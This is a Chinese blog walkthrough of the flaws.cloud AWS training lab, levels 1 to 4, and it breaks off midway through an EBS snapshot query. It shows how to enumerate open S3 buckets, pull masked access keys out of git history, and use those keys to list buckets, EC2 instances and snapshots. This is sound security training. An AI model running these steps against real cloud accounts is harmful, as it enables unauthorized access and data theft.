# 云安全

云安全02

距上次更新 151 天

flaws.cloud靶场练习

靶场地址flAWS

image-20260601140451854

level 1

This level is buckets of fun. See if you can find the first sub-domain.

这里提示说了是关于存储桶（bucket）的，应该就是存储桶的信息泄露

利用dig工具进行查询，查看IP地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ dig flaws.cloud

; <<>> DiG 9.20.18-1ubuntu2.1-Ubuntu <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11735
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;flaws.cloud.                   IN      A

;; ANSWER SECTION:
flaws.cloud.            5       IN      A       3.5.78.238
flaws.cloud.            5       IN      A       52.92.235.139
flaws.cloud.            5       IN      A       52.218.213.114
flaws.cloud.            5       IN      A       52.92.136.115
flaws.cloud.            5       IN      A       3.5.78.69
flaws.cloud.            5       IN      A       3.5.78.208
flaws.cloud.            5       IN      A       52.92.192.139
flaws.cloud.            5       IN      A       52.92.208.147

;; Query time: 5 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Mon Jun 01 06:09:18 UTC 2026
;; MSG SIZE  rcvd: 168

ip反查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ dig -x 52.92.235.139

; <<>> DiG 9.20.18-1ubuntu2.1-Ubuntu <<>> -x 52.92.235.139
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1998
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;139.235.92.52.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
139.235.92.52.in-addr.arpa. 300 IN      PTR     s3-website-us-west-2.amazonaws.com.

;; Query time: 4 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Mon Jun 01 06:12:40 UTC 2026
;; MSG SIZE  rcvd: 103

成功得到flaws.cloud的S3存储桶的地址s3-website-us-west-2.amazonaws.com

通过上述查询，我们知道flaws.cloud是一个在S3中的静态网站，地区位于us-west-2。如果使用一个自定义的域名（比如flaws.cloud）在S3中定义了一个静态站点，那它的bucket name则必须与这个自定义域名一致。对于S3存储桶上HTTP端点的URL遵循固定格式：s3-<region>.amazonaws.com/<bucketname>。基于这个准则，我们可以得出flaws.cloud的S3端点应该是s3-us-west-2.amazonaws.com/flaws.cloud 。

直接访问这个存储桶

得到xml，这是 Amazon S3 服务返回的固定格式的“目录列表”。

当你直接访问一个 S3 存储桶的 HTTP 端点（http://s3-us-west-2.amazonaws.com/桶名），并且该桶配置了 ListBucket 权限时，S3 服务不会返回某个文件，而是会以 XML 格式 返回该桶内的对象列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>flaws.cloud</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>hint1.html</Key>
<LastModified>2017-03-14T03:00:38.000Z</LastModified>
<ETag>"f32e6fbab70a118cf4e2dc03fd71c59d"</ETag>
<Size>2575</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint2.html</Key>
<LastModified>2017-03-03T04:05:17.000Z</LastModified>
<ETag>"565f14ec1dce259789eb919ead471ab9"</ETag>
<Size>1707</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint3.html</Key>
<LastModified>2017-03-03T04:05:11.000Z</LastModified>
<ETag>"ffe5dc34663f83aedaffa512bec04989"</ETag>
<Size>1101</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2024-02-22T02:32:41.000Z</LastModified>
<ETag>"cf2618d97d3a311b9b1453a4d4e02930"</ETag>
<Size>2861</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>logo.png</Key>
<LastModified>2018-07-10T16:47:16.000Z</LastModified>
<ETag>"0623bdd28190d0583ef58379f94c2217"</ETag>
<Size>15979</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>robots.txt</Key>
<LastModified>2017-02-27T01:59:28.000Z</LastModified>
<ETag>"9e6836f2de6d6e6691c78a1902bf9156"</ETag>
<Size>46</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>secret-dd02c7c.html</Key>
<LastModified>2017-02-27T01:59:30.000Z</LastModified>
<ETag>"c5e83d744b4736664ac8375d4464ed4c"</ETag>
<Size>1051</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

这个 XML 就是该 S3 桶的“目录索引”，里面的每个 <Key> 代表桶里的一个文件：

Key 值 说明
hint1.html / hint2.html / hint3.html 挑战的提示页面
index.html 网站首页
logo.png 网站 Logo
robots.txt 搜索引擎爬虫规则
secret-dd02c7c.html 第一关的“钥匙”文件

在存储桶后面直接加上这个文件就可以访问这个文件了，得到通关文件地址

https://s3-us-west-2.amazonaws.com/flaws.cloud/secret-dd02c7c.html

level 2

The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.

第二关和第一关大致相同，但是将访问存储桶的权限从公开权限变成了列表权限

桶策略

  1. Public (完全公开)
    • 比如你玩的第一关。任何能上网的人，不需要任何凭证就能列出和下载文件，匿名访问。
    • curl 不加任何参数就能直接访问。
  2. Authenticated Users (任何认证用户，第二关的情况)
    • 访问者只需要拥有一个有效的 AWS 账号（并配置好密钥），就能访问。
    • 逻辑：桶的主人可能错误地认为“认证用户”等于“我们公司的同事”，但实际上它等于“地球上任何一个注册了 AWS 的人”。
  3. Private (私有)
    • 最安全的状态。需要通过 IAM 策略或 Bucket Policy，明确地、白名单式地授权给特定的 IAM 用户、角色或具体的 AWS 账号 ID 才能访问。

Level 2 的 S3 桶 (level2-c8b2...) 设置了一个 Bucket Policy，其 Principal 字段可能被设置为 "AWS": "*"。在 AWS IAM 语境下，这代表“任何认证用户”。

当你执行 aws s3 ls s3://level2-c8b2... 时，AWS 收到请求并看到了你的“身份证”（Access Key）。S3 服务会检查该桶的权限策略，发现上面写着“持有任何有效 AWS 身份证的人都可以进来看看”。于是，S3 判断：“是的，你有一个合法的 AWS 身份证，你有权访问。” → 给你返回了文件列表。

关于创建aws用户在我的第二篇博客Btop251的博客 - 云安全01中有讲，这里不再赘述

1
2
3
4
5
6
7
$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:02:15      80751 everyone.png
2017-03-03 03:47:17       1433 hint1.html
2017-02-27 02:04:39       1035 hint2.html
2017-02-27 02:02:14       2786 index.html
2017-02-27 02:02:14         26 robots.txt
2017-02-27 02:02:15       1051 secret-e4443fc.html

得到下一关的文件名，拼接构造url

http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html

level 3

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.

这一关看起来像是git泄露

http://s3-us-west-2.amazonaws.com/level3-9afd3927f195e10225021a578e6f78df.flaws.cloud

先访问存储桶看看目录有什么文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>.git/COMMIT_EDITMSG</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"5f8f2cb9c2664a23f08dd8a070ae7427"</ETag>
<Size>52</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/HEAD</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"4cf2d64e44205fe628ddd534e1151b58"</ETag>
<Size>23</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/config</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"920a11de313bfb8d93d81f4a3a5b71b6"</ETag>
<Size>130</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/description</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"a0a7c3fff21f2aea3cfa1d0316dd816c"</ETag>
<Size>73</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/applypatch-msg.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"9cc72dc973e24f9623bd3fe708f60ef5"</ETag>
<Size>452</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/commit-msg.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"579a3c1e12a1e74a98169175fb913012"</ETag>
<Size>896</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/post-update.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"2b7ea5cee3c49ff53d41e00785eb974c"</ETag>
<Size>189</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/pre-applypatch.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"a4a7e457b55b5ac2877f7973dbba37e9"</ETag>
<Size>398</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/pre-commit.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"15449d98cfa79704332d057b3f91093c"</ETag>
<Size>1704</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/pre-rebase.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"3ff6ba9cf6d8e5332978e057559b5562"</ETag>
<Size>4898</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/prepare-commit-msg.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"7dfe15854212a30f346da5255c1d794b"</ETag>
<Size>1239</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/hooks/update.sample</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"98d7f8e291edbab8df79e433dc97ecc8"</ETag>
<Size>3611</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/index</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"a2bcfc51ebc85bc8e9e3199f205a0bb8"</ETag>
<Size>600</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/info/exclude</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"036208b4a1ab4a235d75c181e685e5a3"</ETag>
<Size>240</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/logs/HEAD</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"3f00985fb62229477559b70d6347b31c"</ETag>
<Size>359</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/logs/refs/heads/master</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"3f00985fb62229477559b70d6347b31c"</ETag>
<Size>359</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"9002e9901e4166daccd2a058a602466a"</ETag>
<Size>679</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df</Key>
<LastModified>2017-09-17T15:12:24.000Z</LastModified>
<ETag>"0a909ea6e57ed11cc212e10b70be6935"</ETag>
<Size>770</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"affde50b79aa5e2319d514d1da68d6bd"</ETag>
<Size>820</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"45fb1dba815a2e8f93b1142dbfaa3800"</ETag>
<Size>245</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"4c5f28e551cb33122840d23cd361a829"</ETag>
<Size>112013</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"b3962507e028e7f865374c5bf915d8db"</ETag>
<Size>560</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"2eb76fd75d27c229d1b64ffbf288de50"</ETag>
<Size>191</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"735484ea692bafc0045a0b855b4d1023"</ETag>
<Size>42</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"553769f11ca181375ef1c38e0743115a"</ETag>
<Size>904</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"38a05deecfd29f97a5d03217430a6f00"</ETag>
<Size>98</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/f2/a144957997f15729d4491f251c3615d508b16a</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"51917ea94016aebddef06a42438974b7"</ETag>
<Size>279</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"f5dbd34f5193ba0ecb080c587ca4806a"</ETag>
<Size>125</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>.git/refs/heads/master</Key>
<LastModified>2017-09-17T15:12:25.000Z</LastModified>
<ETag>"6f0924a4d9d67d62f9c933f0ef72cc60"</ETag>
<Size>41</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>authenticated_users.png</Key>
<LastModified>2017-02-27T00:14:33.000Z</LastModified>
<ETag>"fcf5a9922117f5117a126c3de0a58cf3"</ETag>
<Size>123637</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint1.html</Key>
<LastModified>2017-02-27T00:14:34.000Z</LastModified>
<ETag>"26771b03e748ec8356efb06f1c327492"</ETag>
<Size>1552</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint2.html</Key>
<LastModified>2017-02-27T00:14:34.000Z</LastModified>
<ETag>"0c5bfeab9de74dbbdbf5b7e0d01d2a69"</ETag>
<Size>1426</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint3.html</Key>
<LastModified>2017-02-27T00:14:35.000Z</LastModified>
<ETag>"5555c9e8d0bfef3553714188569abfe7"</ETag>
<Size>1247</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint4.html</Key>
<LastModified>2017-02-27T00:14:33.000Z</LastModified>
<ETag>"4b4f9ab2c9cb30a3d9dd346390329ef3"</ETag>
<Size>1035</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2020-05-22T18:21:10.000Z</LastModified>
<ETag>"5a36dafda1c9899804518fae71c9461a"</ETag>
<Size>1861</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>robots.txt</Key>
<LastModified>2017-02-27T00:14:33.000Z</LastModified>
<ETag>"bbbcde0b15cabd06aace1df82d335978"</ETag>
<Size>26</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

知道了桶的名字，这个桶又是公开的，先在本地复制一份信息

1
aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ./level3 --recursive --region us-west-2
  • --recursive→ 递归下载所有文件（因为要下载整个桶）
  • --region us-west-2 → 指定桶所在的区域（在桶地址中有说明）
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@ip-172-31-37-19:~$ cd level3
ubuntu@ip-172-31-37-19:~/level3$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

可以看到，开发人员在提交f52ec03b227ea609b04e43f475fb0126edb5a61时有他不想要的东西，并在提交b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526时删除了它。

查看f52ec03b227ea609b04e43f475fb0126edb5a61这一提交：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@ip-172-31-37-19:~/level3$ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
M       index.html
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at f52ec03 first commit
1
2
3
4
5
6
ubuntu@ip-172-31-37-19:~/level3$ ls
access_keys.txt          hint1.html  hint3.html  index.html
authenticated_users.png  hint2.html  hint4.html  robots.txt
ubuntu@ip-172-31-37-19:~/level3$ cat access_keys.txt 
access_key AKIA****************
secret_access_key ****************************************

可以看到泄露了access_key，通过这些内容我们就可以在aws-cli上登录这个用户，该用户下具体有那些权限和资产了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@ip-172-31-37-19:~/level3$ aws configure --profile level3
AWS Access Key ID [********************]: AKIA****************
AWS Secret Access Key [********************]: ****************************************
Default region name [us-west-2]: us-west-2
Default output format [json]: json

ubuntu@ip-172-31-37-19:~/level3$ aws s3 ls --profile level3
2026-04-28 11:44:51 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2026-04-28 11:31:10 config-bucket-************
2026-04-24 17:21:36 flaws-logs
2026-04-28 13:20:23 flaws.cloud
2026-04-24 21:54:29 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2026-04-27 14:14:25 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2026-04-27 20:28:40 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2026-04-27 20:05:20 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2026-04-24 19:33:12 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2026-04-24 21:46:53 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

这里解释一下--profile

  • AWS CLI 允许你配置多个不同的“身份”，每个身份有自己的 Access Key、Secret Key 和区域设置。这些身份通过 --profile 参数来切换。
  • 如果不指定profile的话就是用登录的默认用户default
  • 这里我们将这个新的access_key对应level3这个profile，想要在aws-cli操作这个用户可以在命令末尾添加--profile level3

level 4

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

Need a hint? Go to Hint 1

访问下一个的网页通知需要账号密码，看来这一关就是要我们获取账号密码的

根据提示，当nginx在EC2上部署后，会创建一个快照（EBS snapshot）。由这一思路出发，利用level 3中取得的账户查询level3上运行的EC2实例的信息

关于EBS

  • EBS 最常见的是指 AWS (亚马逊云服务) 的块存储服务，全称 Amazon Elastic Block Store。

  • 简单理解：它就像云端的虚拟硬盘，为云服务器（EC2 实例）提供持久化的数据块级存储。

  • EBS不会自动出现或自动挂载到服务器上。你需要手动操作（通过AWS控制台、CLI命令或IaC工具如Terraform）来完成以下动作，一旦创建好，后续的某些配置可以自动化

先通过上一关获取的用户查看EC2的实例信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
$ aws ec2 describe-instances --profile level3
{
    "Reservations": [
        {
            "ReservationId": "r-0fe151dbbe77e90cc",
            "OwnerId": "************",
            "Groups": [],
            "Instances": [
                {
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/sda1",
                            "Ebs": {
                                "AttachTime": "2017-02-12T22:29:25+00:00",
                                "DeleteOnTermination": true,
                                "Status": "attached",
                                "VolumeId": "vol-04f1c039bc13ea950",
                                "EbsCardIndex": 0
                            }
                        }
                    ],
                    "ClientToken": "kTOiC1486938563883",
                    "EbsOptimized": false,
                    "Hypervisor": "xen",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::************:instance-profile/flaws",
                        "Id": "AIPAIK7LV6U6UXJXQQR3Q"
                    },
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-54-202-228-246.us-west-2.compute.amazonaws.com",
                                "PublicIp": "54.202.228.246"
                            },
                            "Attachment": {
                                "AttachTime": "2017-02-12T22:29:24+00:00",
                                "AttachmentId": "eni-attach-a4901fc2",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached",
                                "NetworkCardIndex": 0
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupId": "sg-490f6631",
                                    "GroupName": "launch-wizard-1"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "06:b0:7a:92:21:cf",
                            "NetworkInterfaceId": "eni-c26ed780",
                            "OwnerId": "************",
                            "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                            "PrivateIpAddress": "172.31.41.84",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "ec2-54-202-228-246.us-west-2.compute.amazonaws.com"
,
                                        "PublicIp": "54.202.228.246"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                                    "PrivateIpAddress": "172.31.41.84"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use",
                            "SubnetId": "subnet-d962aa90",
                            "VpcId": "vpc-1052ce77",
                            "InterfaceType": "interface",
                            "Operator": {
                                "Managed": false
                            }
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupId": "sg-490f6631",
                            "GroupName": "launch-wizard-1"
                        }
                    ],
                    "SourceDestCheck": true,
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 1
                    },
                    "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                        "Configured": false
                    },
                    "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 1,
                        "HttpEndpoint": "enabled",
                        "HttpProtocolIpv6": "disabled",
                        "InstanceMetadataTags": "disabled"
                    },
                    "EnclaveOptions": {
                        "Enabled": false
                    },
                    "PlatformDetails": "Linux/UNIX",
                    "UsageOperation": "RunInstances",
                    "UsageOperationUpdateTime": "2017-02-12T22:29:24+00:00",
                    "PrivateDnsNameOptions": {},
                    "MaintenanceOptions": {
                        "AutoRecovery": "default",
                        "RebootMigration": "default"
                    },
                    "CurrentInstanceBootMode": "legacy-bios",
                    "NetworkPerformanceOptions": {
                        "BandwidthWeighting": "default"
                    },
                    "Operator": {
                        "Managed": false,
                        "HiddenByDefault": false
                    },
                    "SecondaryInterfaces": [],
                    "InstanceId": "i-05bef8a081f307783",
                    "ImageId": "ami-7c803d1c",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                    "PublicDnsName": "ec2-54-202-228-246.us-west-2.compute.amazonaws.com",
                    "StateTransitionReason": "",
                    "KeyName": "Default",
                    "AmiLaunchIndex": 0,
                    "ProductCodes": [],
                    "InstanceType": "t2.nano",
                    "LaunchTime": "2024-08-04T16:51:52+00:00",
                    "Placement": {
                        "AvailabilityZoneId": "usw2-az2",
                        "GroupName": "",
                        "Tenancy": "default",
                        "AvailabilityZone": "us-west-2a"
                    },
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "SubnetId": "subnet-d962aa90",
                    "VpcId": "vpc-1052ce77",
                    "PrivateIpAddress": "172.31.41.84",
                    "PublicIpAddress": "54.202.228.246"
                }
            ]
        }
    ]
}

盲僧发现华点

1
2
3
4
5
6
7
8
"BlockDeviceMappings": [
  {
    "DeviceName": "/dev/sda1",
    "Ebs": {
      "VolumeId": "vol-04f1c039bc13ea950"
    }
  }
]

可以看到这个EC2挂载了EBSvol-04f1c039bc13ea950

但是这个时候我们无法确定这台泄露的云服务器就是我们需要攻击的靶机服务器，注意到这个信息中还泄露了给这台EC2分配的公网IP

可以查一下靶机域名对应的公网IP，这样就能验证是不是同一台了

1
2
3
ubuntu@ip-172-31-37-19:~$ dig 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud +short
ec2-54-202-228-246.us-west-2.compute.amazonaws.com.
54.202.228.246

可以看到都是54.202.228.246

接下来查询这台主机对应的所有快照

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile level3
{
    "Snapshots": [
        {
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ],
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2017-02-28T01:37:07+00:00",
            "FullSnapshotSizeInBytes": 2485649408,
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "VolumeId": "vol-04f1c039bc13ea950",
            "State": "completed",
            "StartTime": "2017-02-28T01:35:12+00:00",
            "Progress": "100%",
            "OwnerId": "************",
            "Description": "",
            "VolumeSize": 8,
            "Encrypted": false
        }
    ]
}

可以看到SnapshotId继续查

1
2
3
4
5
6
7
8
9
$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile level3
{
    "SnapshotId": "snap-0b49342abd1bdcb89",
